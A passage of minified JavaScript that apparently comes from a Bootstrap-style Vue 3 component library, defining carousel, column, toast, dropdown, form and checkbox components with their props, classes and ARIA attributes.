0%`})),u=(0,a.EW)(()=>({\"d-none\":void 0!==t.contentVisibleUp,[`d-${t.contentVisibleUp}-block`]:void 0!==t.contentVisibleUp})),d=(0,a.EW)(()=>l.width),c=(0,a.EW)(()=>l.height);return(t,l)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"carousel-item\",{active:(0,o.R1)(n)}]),\"data-bs-interval\":e.interval,style:(0,i.Tr)((0,o.R1)(s))},[(0,a.RG)(t.$slots,\"img\",{},()=>[(0,a.bF)(Id,{class:\"d-block w-100\",alt:e.imgAlt,src:e.imgSrc,width:e.imgWidth||(0,o.R1)(d),height:e.imgHeight||(0,o.R1)(c),blank:(0,o.R1)(r),\"blank-color\":e.imgBlankColor},null,8,[\"alt\",\"src\",\"width\",\"height\",\"blank\",\"blank-color\"])]),e.caption||e.captionHtml||e.text||e.textHtml||t.$slots.default?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.contentTag),{key:0,class:(0,i.C4)([\"carousel-caption\",(0,o.R1)(u)])},{default:(0,a.k6)(()=>[e.caption||e.captionHtml?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.captionTag),{key:0},{default:(0,a.k6)(()=>[e.captionHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.captionHtml},null,8,sc)):((0,a.uX)(),(0,a.CE)(\"span\",uc,(0,i.v_)(e.caption),1))]),_:1})):(0,a.Q3)(\"\",!0),e.text||e.textHtml?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.textTag),{key:1},{default:(0,a.k6)(()=>[e.textHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.textHtml},null,8,dc)):((0,a.uX)(),(0,a.CE)(\"span\",cc,(0,i.v_)(e.text),1))]),_:1})):(0,a.Q3)(\"\",!0),(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\"])):(0,a.Q3)(\"\",!0)],14,lc))}}),pc=Qs(\"\",[],{type:[Boolean,String,Number],default:!1}),hc=Qs(\"offset\",[\"\"],{type:[String,Number],default:null}),vc=Qs(\"order\",[\"\"],{type:[String,Number],default:null}),mc=(0,a.pM)({name:\"BCol\",props:{col:{type:[Boolean,String],default:!1},cols:{type:[String,Number],default:null},...pc,offset:{type:[String,Number],default:null},...hc,order:{type:[String,Number],default:null},...vc,alignSelf:{type:String,default:null},tag:{type:String,default:\"div\"}},setup(e){const t=cu((0,o.lW)(e,\"col\")),n=[{content:pc,propPrefix:\"cols\",classPrefix:\"col\"},{content:hc,propPrefix:\"offset\"},{content:vc,propPrefix:\"order\"}],r=(0,a.EW)(()=>n.flatMap(t=>Zs(e,t.content,t.propPrefix,t.classPrefix)));return{classes:(0,a.EW)(()=>({col:t.value||!r.value.some(t=>\u002F^col-\u002F.test(t)&&!e.cols),[`col-${e.cols}`]:!!e.cols,[`offset-${e.offset}`]:!!e.offset,[`order-${e.order}`]:!!e.order,[`align-self-${e.alignSelf}`]:!!e.alignSelf})),classList:r}}});function gc(e,t,n,r,o,l){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([e.classes,e.classList])},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},8,[\"class\"])}const yc=vd(mc,[[\"render\",gc]]),bc=(0,a.pM)({__name:\"BTransition\",props:{appear:{default:!1},mode:null,noFade:{default:!1},transProps:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"appear\")),r=cu((0,o.lW)(t,\"noFade\")),s=(0,a.EW)(()=>{const e={name:\"\",enterActiveClass:\"\",enterToClass:\"\",leaveActiveClass:\"\",leaveToClass:\"showing\",enterFromClass:\"showing\",leaveFromClass:\"\"},t={...e,enterActiveClass:\"fade showing\",leaveActiveClass:\"fade showing\"};return r.value?e:t}),u=(0,a.EW)(()=>({mode:t.mode,css:!0,...s.value})),d=(0,a.EW)(()=>void 0!==t.transProps?{...u.value,...t.transProps}:n.value?{...u.value,appear:!0,appearActiveClass:s.value.enterActiveClass,appearToClass:s.value.enterToClass}:u.value);return(e,t)=>((0,a.uX)(),(0,a.Wv)(l.eB,(0,i._B)((0,a.Ng)((0,o.R1)(d))),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16))}}),$c=\"toast-title\",wc=1e3,_c=(0,a.pM)({components:{BLink:gd},props:{...pd,delay:{type:Number,default:5e3},bodyClass:{type:String},body:{type:[Object,String]},headerClass:{type:String},headerTag:{type:String,default:\"div\"},animation:{type:[Boolean,String],default:!0},id:{type:String},isStatus:{type:[Boolean,String],default:!1},autoHide:{type:[Boolean,String],default:!0},noCloseButton:{type:[Boolean,String],default:!1},noFade:{type:[Boolean,String],default:!1},noHoverPause:{type:[Boolean,String],default:!1},solid:{type:[Boolean,String],default:!1},static:{type:[Boolean,String],default:!1},title:{type:String},modelValue:{type:[Boolean,String],default:!1},toastClass:{type:Array},variant:{type:String}},emits:[\"destroyed\",\"update:modelValue\"],setup(e,{emit:t,slots:n}){cu((0,o.lW)(e,\"animation\"));const r=cu((0,o.lW)(e,\"isStatus\")),i=cu((0,o.lW)(e,\"autoHide\")),l=cu((0,o.lW)(e,\"noCloseButton\")),s=cu((0,o.lW)(e,\"noFade\")),u=cu((0,o.lW)(e,\"noHoverPause\"));cu((0,o.lW)(e,\"solid\")),cu((0,o.lW)(e,\"static\"));const d=cu((0,o.lW)(e,\"modelValue\")),c=(0,o.KR)(!1),f=(0,o.KR)(!1),p=(0,o.KR)(!1),h=(0,a.EW)(()=>({[`b-toast-${e.variant}`]:void 0!==e.variant,show:p.value||c.value}));let v,m,g;const y=()=>{typeof v>\"u\"||(clearTimeout(v),v=void 0)},b=(0,a.EW)(()=>Math.max(au(e.delay,0),wc)),$=()=>{d.value&&(m=g=0,y(),f.value=!0,qs(()=>{p.value=!1}))},w=()=>{y(),t(\"update:modelValue\",!0),m=g=0,f.value=!1,(0,a.dY)(()=>{qs(()=>{p.value=!0})})},_=()=>{if(!i.value||u.value||!v||g)return;const e=Date.now()-m;e>0&&(y(),g=Math.max(b.value-e,wc))},k=()=>{(!i.value||u.value||!g)&&(g=m=0),C()};(0,a.wB)(()=>d.value,e=>{e?w():$()});const C=()=>{y(),i.value&&(v=setTimeout($,g||b.value),m=Date.now(),g=0)},x=()=>{c.value=!0,t(\"update:modelValue\",!0)},S=()=>{c.value=!1,C()},E=()=>{c.value=!0},T=()=>{c.value=!1,g=m=0,t(\"update:modelValue\",!1)};(0,a.hi)(()=>{y(),i.value&&t(\"destroyed\",e.id)}),(0,a.sV)(()=>{(0,a.dY)(()=>{d.value&&qs(()=>{w()})})});const R=()=>{(0,a.dY)(()=>{qs(()=>{$()})})};return()=>{const t=()=>{const t=[],r=ru($c,{hide:$},n);r?t.push((0,a.h)(r)):e.title&&t.push((0,a.h)(\"strong\",{class:\"me-auto\"},e.title)),!l.value&&0!==t.length&&t.push((0,a.h)(ad,{class:[\"btn-close\"],onClick:()=>{$()}}));const o=[];if(t.length>0&&o.push((0,a.h)(e.headerTag,{class:\"toast-header\"},{default:()=>t})),ru(\"default\",{hide:$},n)||e.body){const t=(0,a.h)(du(e)?\"b-link\":\"div\",{class:[\"toast-body\",e.bodyClass],onClick:du(e)?{click:R}:{}},ru(\"default\",{hide:$},n)||e.body);o.push(t)}return(0,a.h)(\"div\",{class:[\"toast\",e.toastClass,h.value],tabindex:\"0\"},o)};return(0,a.h)(\"div\",{class:[\"b-toast\"],id:e.id,role:f.value?null:r.value?\"status\":\"alert\",\"aria-live\":f.value?null:r.value?\"polite\":\"assertive\",\"aria-atomic\":f.value?null:\"true\",onmouseenter:_,onmouseleave:k},[(0,a.h)(bc,{noFade:s.value,onAfterEnter:S,onBeforeEnter:x,onAfterLeave:T,onBeforeLeave:E},()=>[p.value?t():\"\"])])}}}),kc=(0,a.pM)({__name:\"BToaster\",props:{position:{default:\"top-right\"},instance:null},setup(e){const t=e,n={\"top-left\":\"top-0 start-0\",\"top-center\":\"top-0 start-50 translate-middle-x\",\"top-right\":\"top-0 end-0\",\"middle-left\":\"top-50 start-0 translate-middle-y\",\"middle-center\":\"top-50 start-50 translate-middle\",\"middle-right\":\"top-50 end-0 translate-middle-y\",\"bottom-left\":\"bottom-0 start-0\",\"bottom-center\":\"bottom-0 start-50 translate-middle-x\",\"bottom-right\":\"bottom-0 end-0\"},r=(0,a.EW)(()=>n[t.position]),l=e=>{var n;null==(n=t.instance)||n.remove(e)};return(t,n)=>{var s;return(0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([[(0,o.R1)(r)],\"b-toaster position-fixed p-3\"]),style:{\"z-index\":\"11\"}},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(null==(s=e.instance)?void 0:s.toasts(e.position).value,e=>((0,a.uX)(),(0,a.Wv)(_c,{id:e.options.id,key:e.options.id,modelValue:e.options.value,\"onUpdate:modelValue\":t=>e.options.value=t,delay:e.options.delay,title:e.content.title,body:e.content.body,component:e.content.body,variant:e.options.variant,onDestroyed:l},null,8,[\"id\",\"modelValue\",\"onUpdate:modelValue\",\"delay\",\"title\",\"body\",\"component\",\"variant\"]))),128))],2)}}}),Cc={delay:5e3,value:!0,pos:\"top-right\"};class xc{constructor(e){ss(this,\"vm\"),ss(this,\"containerPositions\"),(0,o.g8)(e)?this.vm=e:this.vm=(0,o.Kh)(e),this.containerPositions=(0,a.EW)(()=>{const e=new Set([]);return this.vm.toasts.map(t=>{t.options.pos&&e.add(t.options.pos)}),e})}toasts(e){return e?(0,a.EW)(()=>this.vm.toasts.filter(t=>{if(t.options.pos===e&&t.options.value)return t})):(0,a.EW)(()=>this.vm.toasts)}remove(...e){this.vm.toasts=this.vm.toasts.filter(t=>{if(t.options.id&&!e.includes(t.options.id))return t})}isRoot(){var e;return null!=(e=this.vm.root)&&e}show(e,t=Cc){const n={id:Js(),...Cc,...t},r={options:(0,o.Kh)(n),content:e};return this.vm.toasts.push(r),r}info(e,t=Cc){return this.show(e,{variant:\"info\",...t})}danger(e,t=Cc){return this.show(e,{variant:\"danger\",...t})}warning(e,t=Cc){return this.show(e,{variant:\"warning\",...t})}success(e,t=Cc){return this.show(e,{variant:\"success\",...t})}hide(){}}class Sc{constructor(){ss(this,\"vms\"),ss(this,\"rootInstance\"),ss(this,\"useToast\",Mc),this.vms={}}getOrCreateViewModel(e){if(!e){if(this.rootInstance)return this.vms[this.rootInstance];const e={root:!0,toasts:[],container:void 0,id:Symbol(\"toast\")};return this.rootInstance=e.id,this.vms[e.id]=e,e}if(e.root){if(this.rootInstance)return this.vms[this.rootInstance];this.rootInstance=e.id}return this.vms[e.id]=e,e}getVM(e){return!e&&this.rootInstance?this.vms[this.rootInstance]:e?this.vms[e]:void 0}}const Ec=Symbol(),Tc=Symbol(),Rc={container:void 0,toasts:[],root:!1};function Oc(){return(0,a.WQ)(Tc)}function Mc(e,t=Ec){const n=(0,a.WQ)(Oc());if(!e)return new xc(n.getOrCreateViewModel());const r={id:Symbol(\"toastInstance\")},o={...Rc,...r,...e},i=n.getOrCreateViewModel(o);return new xc(i)}const Ac={install:(e,t={})=>{var n,r,a,o;e.provide(Tc,null!=(r=null==(n=null==t?void 0:t.BToast)?void 0:n.injectkey)?r:Ec),e.provide(null!=(o=null==(a=null==t?void 0:t.BToast)?void 0:a.injectkey)?o:Ec,new Sc)}},Dc=(0,a.pM)({name:\"BContainer\",props:{gutterX:{type:String,default:null},gutterY:{type:String,default:null},fluid:{type:[Boolean,String],default:!1},toast:{type:Object},position:{type:String,required:!1},tag:{type:String,default:\"div\"}},setup(e,{slots:t,expose:n}){const r=(0,o.KR)();let i;const l=(0,a.EW)(()=>({container:!e.fluid,[\"container-fluid\"]:\"boolean\"==typeof e.fluid&&e.fluid,[`container-${e.fluid}`]:\"string\"==typeof e.fluid,[`gx-${e.gutterX}`]:null!==e.gutterX,[`gy-${e.gutterY}`]:null!==e.gutterY}));return(0,a.sV)(()=>{e.toast}),e.toast&&(i=Mc({container:r,root:e.toast.root}),n({})),()=>{var n;const o=[];return null==i||i.containerPositions.value.forEach(e=>{o.push((0,a.h)(kc,{key:e,instance:i,position:e}))}),(0,a.h)(e.tag,{class:[l.value,e.position],ref:r},[...o,null==(n=t.default)?void 0:n.call(t)])}},methods:{}}),Wc={class:\"visually-hidden\"},Bc=[\"aria-labelledby\",\"role\"],Pc=(0,a.pM)({__name:\"BDropdown\",props:{id:null,menuClass:null,size:null,splitClass:null,splitVariant:null,text:null,toggleClass:null,autoClose:{type:[Boolean,String],default:!0},block:{default:!1},boundary:{default:\"clippingParents\"},dark:{default:!1},disabled:{default:!1},isNav:{default:!1},dropup:{default:!1},dropright:{default:!1},dropleft:{default:!1},noFlip:{default:!1},offset:{default:0},popperOpts:{default:()=>({})},right:{default:!1},role:{default:\"menu\"},split:{default:!1},splitButtonType:{default:\"button\"},splitHref:{default:void 0},noCaret:{default:!1},toggleText:{default:\"Toggle dropdown\"},variant:{default:\"secondary\"}},emits:[\"show\",\"shown\",\"hide\",\"hidden\",\"click\",\"toggle\"],setup(e,{expose:t,emit:n}){const r=e,l=cu((0,o.lW)(r,\"block\")),s=cu((0,o.lW)(r,\"dark\")),u=cu((0,o.lW)(r,\"disabled\")),d=cu((0,o.lW)(r,\"dropup\")),c=cu((0,o.lW)(r,\"dropright\")),f=cu((0,o.lW)(r,\"isNav\")),p=cu((0,o.lW)(r,\"dropleft\")),h=cu((0,o.lW)(r,\"right\")),v=cu((0,o.lW)(r,\"split\")),m=cu((0,o.lW)(r,\"noCaret\")),g=(0,o.KR)(),y=(0,o.KR)(),b=(0,o.KR)(),$=xu((0,o.lW)(r,\"id\"),\"dropdown\");mu(g,\"show.bs.dropdown\",()=>n(\"show\")),mu(g,\"shown.bs.dropdown\",()=>n(\"shown\")),mu(g,\"hide.bs.dropdown\",()=>n(\"hide\")),mu(g,\"hidden.bs.dropdown\",()=>n(\"hidden\"));const w=e=>{v.value&&n(\"click\",e)},_=(0,a.EW)(()=>({\"d-grid\":l.value,\"d-flex\":l.value&&v.value})),k=(0,a.EW)(()=>({\"nav-link\":f.value,\"dropdown-toggle\":!v.value,\"dropdown-toggle-no-caret\":m.value&&!v.value,\"w-100\":v.value&&l.value})),C=(0,a.EW)(()=>({\"dropdown-menu-dark\":s.value,\"dropdown-menu-end\":h.value})),x=(0,a.EW)(()=>({\"data-bs-toggle\":v.value?void 0:\"dropdown\",\"aria-expanded\":!!v.value&&void 0,ref:v.value?void 0:y,href:v.value?r.splitHref:void 0})),S=(0,a.EW)(()=>({ref:v.value?y:void 0})),E=()=>{var e;null==(e=b.value)||e.hide()};return(0,a.sV)(()=>{var e;b.value=new Pa(null==(e=y.value)?void 0:e.$el,{autoClose:r.autoClose,boundary:r.boundary,offset:r.offset?r.offset.toString():\"\",reference:r.offset||v.value?\"parent\":\"toggle\",popperConfig:e=>{const t={placement:\"bottom-start\",modifiers:r.noFlip?[{name:\"flip\",options:{fallbackPlacements:[]}}]:[]};return d.value?t.placement=h.value?\"top-end\":\"top-start\":c.value?t.placement=\"right-start\":p.value?t.placement=\"left-start\":h.value&&(t.placement=\"bottom-end\"),nu(e,nu(t,r.popperOpts))}})}),t({hide:E}),(t,r)=>((0,a.uX)(),(0,a.CE)(\"div\",{ref_key:\"parent\",ref:g,class:(0,i.C4)([(0,o.R1)(_),\"btn-group\"])},[(0,a.bF)(Dd,(0,a.v6)({id:(0,o.R1)($),variant:e.splitVariant||e.variant,size:e.size,class:[(0,o.R1)(k),(0,o.R1)(v)?e.splitClass:e.toggleClass],disabled:(0,o.R1)(u),type:e.splitButtonType},(0,o.R1)(x),{onClick:w}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"button-content\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"id\",\"variant\",\"size\",\"class\",\"disabled\",\"type\"]),(0,o.R1)(v)?((0,a.uX)(),(0,a.Wv)(Dd,(0,a.v6)({key:0,variant:e.variant,size:e.size,disabled:(0,o.R1)(u)},(0,o.R1)(S),{class:[e.toggleClass,\"dropdown-toggle-split dropdown-toggle\"],\"data-bs-toggle\":\"dropdown\",\"aria-expanded\":\"false\",onClick:r[0]||(r[0]=e=>n(\"toggle\"))}),{default:(0,a.k6)(()=>[(0,a.Lk)(\"span\",Wc,[(0,a.RG)(t.$slots,\"toggle-text\",{},()=>[(0,a.eW)((0,i.v_)(e.toggleText),1)])])]),_:3},16,[\"variant\",\"size\",\"disabled\",\"class\"])):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"ul\",{class:(0,i.C4)([\"dropdown-menu\",[e.menuClass,(0,o.R1)(C)]]),\"aria-labelledby\":(0,o.R1)($),role:e.role},[(0,a.RG)(t.$slots,\"default\")],10,Bc)],2))}}),Ic={role:\"presentation\"},Nc=(0,a.pM)({__name:\"BDropdownDivider\",props:{tag:{default:\"hr\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",Ic,[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"dropdown-divider\",role:\"separator\",\"aria-orientation\":\"horizontal\"}))]))}}),Lc={},jc={role:\"presentation\"},Fc={class:\"px-4 py-3\"};function Vc(e,t){return(0,a.uX)(),(0,a.CE)(\"li\",jc,[(0,a.Lk)(\"form\",Fc,[(0,a.RG)(e.$slots,\"default\")])])}const Uc=vd(Lc,[[\"render\",Vc]]),Xc={role:\"presentation\"},Hc=[\"id\",\"aria-describedby\"],Gc={inheritAttrs:!1},Yc=(0,a.pM)({...Gc,__name:\"BDropdownGroup\",props:{id:null,ariaDescribedby:null,header:null,headerClass:{default:void 0},headerTag:{default:\"header\"},headerVariant:null},setup(e){const t=e,n=(0,a.EW)(()=>t.id?`${t.id}_group_dd_header`:void 0),r=(0,a.EW)(()=>\"header\"===t.headerTag?void 0:\"heading\"),l=(0,a.EW)(()=>({[`text-${t.headerVariant}`]:void 0!==t.headerVariant}));return(t,s)=>((0,a.uX)(),(0,a.CE)(\"li\",Xc,[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.headerTag),{id:(0,o.R1)(n),class:(0,i.C4)([\"dropdown-header\",[(0,o.R1)(l),e.headerClass]]),role:(0,o.R1)(r)},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"header\",{},()=>[(0,a.eW)((0,i.v_)(e.header),1)])]),_:3},8,[\"id\",\"class\",\"role\"])),(0,a.Lk)(\"ul\",(0,a.v6)({id:e.id,role:\"group\",class:\"list-unstyled\"},t.$attrs,{\"aria-describedby\":e.ariaDescribedby||(0,o.R1)(n)}),[(0,a.RG)(t.$slots,\"default\")],16,Hc)]))}}),zc={},Kc={class:\"dropdown-header\"};function qc(e,t){return(0,a.uX)(),(0,a.CE)(\"li\",null,[(0,a.Lk)(\"h6\",Kc,[(0,a.RG)(e.$slots,\"default\")])])}const Qc=vd(zc,[[\"render\",qc]]),Zc={inheritAttrs:!1},Jc=(0,a.pM)({...Zc,__name:\"BDropdownItem\",props:{href:null,linkClass:null,active:{default:!1},disabled:{default:!1},rel:{default:void 0},target:{default:\"_self\"},variant:null},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"active\")),l=cu((0,o.lW)(n,\"disabled\")),s=(0,a.OA)(),u=(0,a.EW)(()=>({active:r.value,disabled:l.value,[`text-${n.variant}`]:void 0!==n.variant})),d=(0,a.EW)(()=>n.href?\"a\":s.to?gd:\"button\"),c=(0,a.EW)(()=>({disabled:l.value,\"aria-current\":r.value?\"true\":null,href:\"a\"===d.value?n.href:null,rel:n.rel,type:\"button\"===d.value?\"button\":null,target:n.target,...s.to?{activeClass:\"active\",...s}:{}})),f=e=>t(\"click\",e);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",{role:\"presentation\",class:(0,i.C4)(t.$attrs.class)},[((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(d)),(0,a.v6)({class:[\"dropdown-item\",[(0,o.R1)(u),e.linkClass]]},(0,o.R1)(c),{onClick:f}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},16,[\"class\"]))],2))}}),ef={inheritAttrs:!1},tf=(0,a.pM)({...ef,__name:\"BDropdownItemButton\",props:{buttonClass:null,active:{default:!1},activeClass:{default:\"active\"},disabled:{default:!1},variant:null},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"active\")),l=cu((0,o.lW)(n,\"disabled\")),s=(0,a.EW)(()=>({[n.activeClass]:r.value,disabled:l.value,[`text-${n.variant}`]:void 0!==n.variant})),u=(0,a.EW)(()=>({disabled:l.value})),d=e=>t(\"click\",e);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",{role:\"presentation\",class:(0,i.C4)(t.$attrs.class)},[(0,a.Lk)(\"button\",(0,a.v6)({role:\"menu\",type:\"button\",class:[\"dropdown-item\",[(0,o.R1)(s),e.buttonClass]]},(0,o.R1)(u),{onClick:d}),[(0,a.RG)(t.$slots,\"default\")],16)],2))}}),nf={role:\"presentation\"},rf={class:\"px-4 py-1 mb-0 text-muted\"},af=(0,a.pM)({__name:\"BDropdownText\",props:{text:{default:\"\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",nf,[(0,a.Lk)(\"p\",rf,[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])])]))}}),of=[\"id\",\"novalidate\",\"onSubmit\"],lf=(0,a.pM)({__name:\"BForm\",props:{id:null,floating:{default:!1},novalidate:{default:!1},validated:{default:!1}},emits:[\"submit\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"floating\")),s=cu((0,o.lW)(n,\"novalidate\")),u=cu((0,o.lW)(n,\"validated\")),d=(0,a.EW)(()=>({\"form-floating\":r.value,\"was-validated\":u.value})),c=e=>t(\"submit\",e);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"form\",{id:e.id,novalidate:(0,o.R1)(s),class:(0,i.C4)((0,o.R1)(d)),onSubmit:(0,l.D$)(c,[\"prevent\"])},[(0,a.RG)(t.$slots,\"default\")],42,of))}}),sf={class:\"form-floating\"},uf=[\"for\"],df=(0,a.pM)({__name:\"BFormFloatingLabel\",props:{labelFor:null,label:null,text:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",sf,[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)]),(0,a.Lk)(\"label\",{for:e.labelFor},[(0,a.RG)(t.$slots,\"label\",{},()=>[(0,a.eW)((0,i.v_)(e.label),1)])],8,uf)]))}}),cf=(0,a.pM)({__name:\"BFormInvalidFeedback\",props:{ariaLive:null,forceShow:{default:!1},id:null,text:null,role:null,state:{default:void 0},tag:{default:\"div\"},tooltip:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"forceShow\")),r=cu((0,o.lW)(t,\"state\")),l=cu((0,o.lW)(t,\"tooltip\")),s=(0,a.EW)(()=>!0===n.value||!1===r.value),u=(0,a.EW)(()=>({\"d-block\":s.value,\"invalid-feedback\":!l.value,\"invalid-tooltip\":l.value})),d=(0,a.EW)(()=>({id:t.id,role:t.role,\"aria-live\":t.ariaLive,\"aria-atomic\":t.ariaLive?\"true\":void 0}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({class:(0,o.R1)(u)},(0,o.R1)(d)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"class\"]))}}),ff=(0,a.pM)({__name:\"BFormRow\",props:{tag:{default:\"div\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"row d-flex flex-wrap\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3}))}}),pf=(0,a.pM)({__name:\"BFormText\",props:{id:null,inline:{default:!1},tag:{default:\"small\"},text:null,textVariant:{default:\"muted\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"inline\")),r=(0,a.EW)(()=>({\"form-text\":!n.value,[`text-${t.textVariant}`]:!!t.textVariant})),l=(0,a.EW)(()=>({id:t.id}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({class:(0,o.R1)(r)},(0,o.R1)(l)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"class\"]))}}),hf=(0,a.pM)({__name:\"BFormValidFeedback\",props:{ariaLive:null,forceShow:{default:!1},id:null,role:null,text:null,state:{default:void 0},tag:{default:\"div\"},tooltip:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"forceShow\")),r=cu((0,o.lW)(t,\"state\")),l=cu((0,o.lW)(t,\"tooltip\")),s=(0,a.EW)(()=>!0===n.value||!0===r.value),u=(0,a.EW)(()=>({\"d-block\":s.value,\"valid-feedback\":!l.value,\"valid-tooltip\":l.value})),d=(0,a.EW)(()=>({id:t.id||null,role:t.role||null,\"aria-live\":t.ariaLive||null,\"aria-atomic\":t.ariaLive?\"true\":null}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({class:(0,o.R1)(u)},(0,o.R1)(d)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"class\"]))}}),vf=[\"id\",\"disabled\",\"required\",\"name\",\"form\",\"aria-label\",\"aria-labelledby\",\"aria-required\",\"value\",\"indeterminate\"],mf=[\"for\"],gf={inheritAttrs:!1},yf=(0,a.pM)({...gf,__name:\"BFormCheckbox\",props:{ariaLabel:null,ariaLabelledBy:null,form:null,indeterminate:null,name:null,id:{default:void 0},autofocus:{default:!1},plain:{default:!1},button:{default:!1},switch:{default:!1},disabled:{default:!1},buttonVariant:{default:\"secondary\"},inline:{default:!1},required:{default:void 0},size:{default:\"md\"},state:{default:void 0},uncheckedValue:{type:[Array,Set,Boolean,String,Object,Number],default:!1},value:{type:[Array,Set,Boolean,String,Object,Number],default:!0},modelValue:{type:[Array,Set,Boolean,String,Object,Number],default:void 0}},emits:[\"update:modelValue\",\"input\",\"change\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"indeterminate\")),s=cu((0,o.lW)(n,\"autofocus\")),u=cu((0,o.lW)(n,\"plain\")),d=cu((0,o.lW)(n,\"button\")),c=cu((0,o.lW)(n,\"switch\")),f=cu((0,o.lW)(n,\"disabled\")),p=cu((0,o.lW)(n,\"inline\")),h=cu((0,o.lW)(n,\"required\")),v=cu((0,o.lW)(n,\"state\")),m=xu((0,o.lW)(n,\"id\"),\"form-check\"),g=(0,o.KR)(null),y=(0,o.KR)(!1),b=(0,a.EW)({get:()=>n.uncheckedValue?Array.isArray(n.modelValue)?n.modelValue.indexOf(n.value)>-1:n.modelValue===n.value:n.modelValue,set:e=>{let r=e;Array.isArray(n.modelValue)?n.uncheckedValue&&(r=n.modelValue,e?(r.indexOf(n.uncheckedValue)>-1&&r.splice(r.indexOf(n.uncheckedValue),1),r.push(n.value)):(r.indexOf(n.value)>-1&&r.splice(r.indexOf(n.value),1),r.push(n.uncheckedValue))):r=e?n.value:n.uncheckedValue,t(\"input\",r),t(\"update:modelValue\",r),t(\"change\",r)}}),$=(0,a.EW)(()=>Array.isArray(n.modelValue)?n.modelValue.indexOf(n.value)>-1:JSON.stringify(n.modelValue)===JSON.stringify(n.value)),w=(0,o.Kh)({plain:(0,o.lW)(u,\"value\"),button:(0,o.lW)(d,\"value\"),inline:(0,o.lW)(p,\"value\"),switch:(0,o.lW)(c,\"value\"),size:(0,o.lW)(n,\"size\"),state:(0,o.lW)(v,\"value\"),buttonVariant:(0,o.lW)(n,\"buttonVariant\")}),_=gu(w),k=yu(w),C=bu(w);return(0,a.sV)(()=>{s.value&&g.value.focus()}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)((0,o.R1)(_))},[(0,a.bo)((0,a.Lk)(\"input\",(0,a.v6)({id:(0,o.R1)(m)},t.$attrs,{ref_key:\"input\",ref:g,\"onUpdate:modelValue\":n[0]||(n[0]=e=>(0,o.i9)(b)?b.value=e:null),class:(0,o.R1)(k),type:\"checkbox\",disabled:(0,o.R1)(f),required:!!e.name&&!!(0,o.R1)(h),name:e.name,form:e.form,\"aria-label\":e.ariaLabel,\"aria-labelledby\":e.ariaLabelledBy,\"aria-required\":e.name&&(0,o.R1)(h)?\"true\":void 0,value:e.value,indeterminate:(0,o.R1)(r),onFocus:n[1]||(n[1]=e=>y.value=!0),onBlur:n[2]||(n[2]=e=>y.value=!1)}),null,16,vf),[[l.lH,(0,o.R1)(b)]]),t.$slots.default||!(0,o.R1)(u)?((0,a.uX)(),(0,a.CE)(\"label\",{key:0,for:(0,o.R1)(m),class:(0,i.C4)([(0,o.R1)(C),{active:(0,o.R1)($),focus:y.value}])},[(0,a.RG)(t.$slots,\"default\")],10,mf)):(0,a.Q3)(\"\",!0)],2))}}),bf=[\"id\"],$f=[\"innerHTML\"],wf=[\"textContent\"],_f=(0,a.pM)({__name:\"BFormCheckboxGroup\",props:{id:null,form:null,modelValue:{default:()=>[]},ariaInvalid:{default:void 